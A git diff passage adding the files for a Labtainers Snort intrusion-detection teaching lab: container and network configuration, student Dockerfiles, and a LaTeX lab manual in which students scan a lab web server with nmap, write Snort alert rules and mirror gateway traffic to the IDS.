Labtainer is stopped, a +zip file is created and copied to a location displayed by the stop.sh +command. When the lab is completed, send that zip file to the instructor. + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/config/about.txt new file mode 100644 index 000000000..8f212c62a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/config/about.txt @@ -0,0 +1 @@ +Use of snort for network intrusion detection. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/config/start.config new file mode 100644 index 000000000..bbfb165ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/config/start.config @@ -0,0 +1,74 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +GLOBAL_SETTINGS + GRADE_CONTAINER snort + HOST_HOME_XFER seed_dir/ + LAB_MASTER_SEED snort_mike_master_seed + +NETWORK LAN1 + MASK 192.168.1.0/24 + GATEWAY 192.168.1.101 +NETWORK LAN2 + MASK 192.168.2.0/24 + GATEWAY 192.168.2.101 +NETWORK LAN3 + MASK 192.168.3.0/24 + GATEWAY 192.168.3.101 +NETWORK WAN + MASK 203.0.113.0/24 + GATEWAY 203.0.113.101 +NETWORK ISP_GW + MASK 10.10.0.0/24 + GATEWAY 10.10.0.101 +NETWORK REMOTE_LAN + MASK 172.16.0.0/24 + GATEWAY 172.16.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections. +# +CONTAINER ws2 + USER mary + LAN2 192.168.2.1 + X11 YES + TERMINAL_GROUP 1 + ADD-HOST www.example.com:192.168.1.2 +CONTAINER snort + USER tom + TERMINAL_GROUP 1 + LAN3 192.168.3.1 + X11 YES +CONTAINER isp + USER ubuntu + WAN 203.0.113.1 + ISP_GW 10.10.0.1 + TERMINALS -1 +CONTAINER web_server + USER admin + LAN1 192.168.1.2 + TERMINAL_GROUP LOCAL + SCRIPT NONE +CONTAINER gateway + USER ubuntu + LAN1 192.168.1.10 + LAN2 192.168.2.10 + LAN3 192.168.3.10 + WAN 203.0.113.10 + TERMINAL_GROUP LOCAL +CONTAINER remote_ws + USER hank + REMOTE_LAN 172.16.0.1 + TERMINAL_GROUP remote + X11 YES + ADD-HOST www.example.com:203.0.113.10 +CONTAINER remote_gw + USER admin + REMOTE_LAN 172.16.0.10 + WAN 203.0.113.20 + TERMINAL_GROUP remote diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.gateway.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.gateway.student new file mode 100644 index 000000000..5916486e5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.gateway.student @@ -0,0 +1,61 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / + +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.isp.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.isp.student new file mode 100644 index 000000000..9f7e1cdd3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.isp.student @@ -0,0 +1,57 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.remote_gw.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.remote_gw.student new file mode 100644 index 000000000..659520c2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.remote_gw.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.remote_ws.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.remote_ws.student new file mode 100644 index 000000000..997142060 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.remote_ws.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.firefox +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.snort.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.snort.student new file mode 100644 index 000000000..2adca8081 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.snort.student @@ -0,0 +1,66 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.wireshark +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +ENV DEBIAN_FRONTEND noninteractive +RUN echo 'debconf debconf/frontend select Noninteractive' | debconf-set-selections +RUN apt-get update && apt-get install -y --no-install-recommends snort dnsutils + +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.web_server.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.web_server.student new file mode 100644 index 000000000..b2535aee8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.web_server.student @@ -0,0 +1,64 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.lamp.xtra +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +#RUN adduser $user_name sudo +# replace above with below for centos/fedora +RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +RUN systemctl enable rc-local +CMD ["/usr/sbin/init"] +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.ws2.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.ws2.student new file mode 100644 index 000000000..997142060 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/dockerfiles/Dockerfile.snort.ws2.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.firefox +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/Makefile new file mode 100644 index 000000000..6a212d3b4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/Makefile @@ -0,0 +1,8 @@ +snort.pdf: snort.tex header.tex + latex snort + pdflatex -jobname=snort snort + pdflatex -jobname=snort snort + +clean: + rm -fr auto + rm -f snort.aux snort.log snort.pdf snort.dvi snort.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/header.tex new file mode 100644 index 000000000..d81b557e1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/header.tex @@ -0,0 +1,122 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/read_first.txt new file mode 100644 index 000000000..5a4ec820f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/snort.pdf + +You may open these by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/snort-report.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/snort-report.docx new file mode 100644 index 000000000..e02abfc9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/snort-report.docx @@ -0,0 +1 @@ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/snort.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/snort.jpg new file mode 100644 index 000000000..490c30382 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/snort.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/snort.odg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/snort.odg new file mode 100755 index 000000000..bea202037 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/snort.odg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/snort.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/snort.tex new file mode 100644 index 000000000..0d3813fca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/docs/snort.tex @@ -0,0 +1,213 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE Snort -- Intrusion Detection} +\vspace{0.1in}\\ +\end{center} + +\copyrightnotice + +\section{Overview} +This exercise introduces the use of the snort system +to provide intrusion detection within a +Linux environment. Students will configure simple +snort rules and experiment with a network +intrusion detection system, (IDS). + + +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer snort +\end{verbatim} +\noindent A link to this lab manual will be displayed. + +\section{Network Configuration} +This lab includes several networked computers as shown in Figure~\ref{fig:topology}. +When the lab starts, you will get virtual terminals, one connected to each +component. The gateway is configured with {\tt iptables} to use NAT to translate +sources addresses of traffic from internal IP addresses, e.g., 192.168.2.1, to +our external address, i.e., 203.0.113.10. The {\tt iptables} in the gateway also +routes web traffic (ports 80 and 443) to the web\_server component by translating +the externally visible destination address to the internal web server address. + +The gateway is also configured to mirror traffic that enters the gateway +via either the 203.0.113.10 link, or the link to the web server. This +mirrored traffic is routed to the {\tt snort} component. This mirroring allows +the snort component to reconstruct TCP sessions between the web server and external +addresses. + +The snort component includes the Snort IDS utility. It also includes Wireshark +to help you observe traffic being mirrored to the snort component. + +The web server runs Apache and is configured to support SSL for web pages in the +{\tt www.example.com} domain. + +The {\tt remote\_ws} component includes the Firefox browser, and a local +{\tt /etc/hosts} file that maps www.example.com to the external address of the +gateway, i.e., 203.0.113.10. The internal workstation (ws2) also includes Firefox +and an entry in {\tt /etc/hosts} for www.example.com. Both workstations also +include the nmap utility. + + +\begin{figure}[htb] +\begin{center} +\includegraphics [width=0.8\textwidth,natwidth=621,natheight=403]{snort.jpg} +\end{center} +\caption{Network topology for the snort lab} +\label{fig:topology} +\end{figure} + +\section{Lab Tasks} +It is assumed that the student has received instruction or independent study on +the basic operation of Snort, and the general goals and mechanics of network intrusion detection. + +Review the network topology. In particular, consider the {\tt iptables} settings on the gateway. +These can be seen by reviewing the commands in {\tt /etc/rc.local}, which are used to +define the NAT translations and, critically for this lab, mirror traffic to the snort component. + +\subsection{Starting and stopping snort} +The Snort utility is installed on the snort component. The home directory includes a {\tt start\_snort.sh} +script that will start the utility in \textit{Network Intrustion Dection Mode}, and display alerts +to the console. For this lab, you are required to start snort with: +\begin{verbatim} + ./start_snort.sh +\end{verbatim} +When it comes time to stop snort, e.g., to add rules, simply use {\tt CTL-C}. + +\subsection{Pre-configured Snort rules} +The Snort utility includes a set of pre-configured rules that create alerts for known +suspicious network activity. The configuration on the snort component is largely as it +exists after initial installation of the snort utility. To see an example of +some of the preconfigured rules, perform an nmap scan of www.example.com from the remote +workstation: +\begin{verbatim} + sudo nmap www.example.com +\end{verbatim} +\noindent Note the alerts displayed at the snort console. The rules that generate these alerts can be seen, +along with all rules, in {\tt /etc/snort/rules/} + +\subsection{Write a simple (bad) rule} +Custom rules are typically added to the file at {\tt /etc/snort/rules/local.rules} +Stop snort and add a rule that generates an alert for each packet within a TCP stream. For example: +\begin{verbatim} +alert tcp any any -> any any (msg:"TCP detected"; sid:00002;) +\end{verbatim} + +\noindent That rule can be read as: ``Generate an alert whenever a TCP packet from any +address on any port is sent to any address on any port, and include the message tagged as +{\tt msg:}, and give the rule an identifier of 00002.'' +Then restart snort. Test this rule by starting Firefox on the remote workstation: + +\begin{verbatim} + firefox www.example.com +\end{verbatim} + +As you can see, the rule you wrote will overwhelm you with useless information. So, +stop snort and delete the rule. + +\subsection{Custom rule for CONFIDENTIAL traffic} +At the Firefox browser, which should be displaying the webpage from www.example.com, +we will display an unpublished web page that we know exists on the website. In particular, +we have heard that the keen minds at the startup company have placed their confidential +business plan at www.example.com/plan.html. Take a look at it. + +Now add a rule to your local.rules file on snort that will generate an alert +whenever the text "CONFIDENTIAL" is sent out to the internet. Reference +the snort manual \url{https://www.snort.org/downloads/snortplus/snort_manual.pdf} +or existing rules to understand how to qualify alerts based on \textit{content}. Be sure to include the +word "CONFIDENTIAL" in the alert message, and give the +rule its own unique sid. After adding the rule, restart snort. + +On the browser at the remote workstation, clear your history (Menu / Preferences +Security \& Privacy), and then refresh the plan.html page. You should see an alert at +the snort console. + +\subsection{Effects of encryption} +Back at the Firefox browser, again clear the browser history. Now alter the URL to make +use of the web server SSL function. Change the url to https://www.example.com/plan.html. +Do you see a new snort alert? Why? + +One solution to this problem is to use a reverse proxy in front of the web server. This +reverse proxy would handle the incoming web traffic and manage the SSL connections. +The web server would then receive only clear-text HTTP traffic, and outgoing traffic from the web server +could then be mirrored to the IDS. We will not pursue that solution in this lab. + +\subsection{Watching internal traffic} +Go to the ws2 (mary) component and run nmap: +\begin{verbatim} + sudo nmap www.example.com +\end{verbatim} +What do you see on the snort component? Does it include the {\tt ICMP PING NMAP} +alert that you saw when the remote workstation ran nmap? Why not? + +Go to the gateway component and edit the {\tt /etc/rc.local} script so that traffic +from Mary's workstation is mirrored to the snort component. You can do this by adding +this line to the section of that file that defines the packet mirroring: +\begin{verbatim} + iptables -t mangle -A PREROUTING -i $lan2 -j TEE --gateway 192.168.3.1 +\end{verbatim} + +Then run the script to replace the {\tt iptables} rules with your new rules: +\begin{verbatim} + sudo /etc/rc.local +\end{verbatim} +Now restart snort and again run nmap from mary's ws2 computer. + + +\subsection{Distinguishing traffic by address} +Start Firefox on mary's ws2 computer to view the confidential business plan: +\begin {verbatim} + firefox www.example.com/plan.html +\end {verbatim} +Then observe the snort console. This will not do! The keen minds at the startup need to view their confidential +business plan without IDS alerts firing off. But they do want to monitor +internal computers for suspicious traffic, e.g., nmap scans. In this task, you +will adjust your snort rule so that the CONFIDENTIAL alert only fires when the plan +is accessed by addresses outside of +the site. + +If you review rules found in the {\tt/etc/snort/rules} directory, you will see that rules +have the general form of: +\begin{verbatim} + alert -> \ + +\end{verbatim} + +The snort rules include two address fields: {\tt source\_addr} and {\tt dest\_addr}. +These addresses are used to check the +source from which the packet originated and the destination of the packet. The address +may be a single IP address or a network address. You likely have used the \textit{any} keyword to apply a +rule on all addresses. For network addresses, the address is followed by a slash character +and number of bits in the netmask. For example, a network address of 192.168.2.0/24 +represents C class network 192.168.2.0 with 24 bits in the network mask. + +Note that as a result of our use of NAT, all traffic from the web server destined for an +external address will have a destination address of the gateway, (i.e., 192.168.1.10), +while web traffic destined for internal users will have destination addresses that match the internal user. + +For this task, you must set your snort rules and traffic mirroring such that: +\begin{enumerate} +\item External access to the business plan generates an alert; +\item Internal access to the business plan does not generate an alert; +\item External or internal use of nmap will generate an ICMP NMAP PING alert. +\end{enumerate} +Your must test each of these criteria during a single snort session, i.e., if you change +a snort rule, or port mirroring, you must restart your tests. + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab snort +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/gateway/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/gateway/_bin/fixlocal.sh new file mode 100755 index 000000000..438e7ffb1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/snort/gateway/_bin/fixlocal.sh @@ -0,0 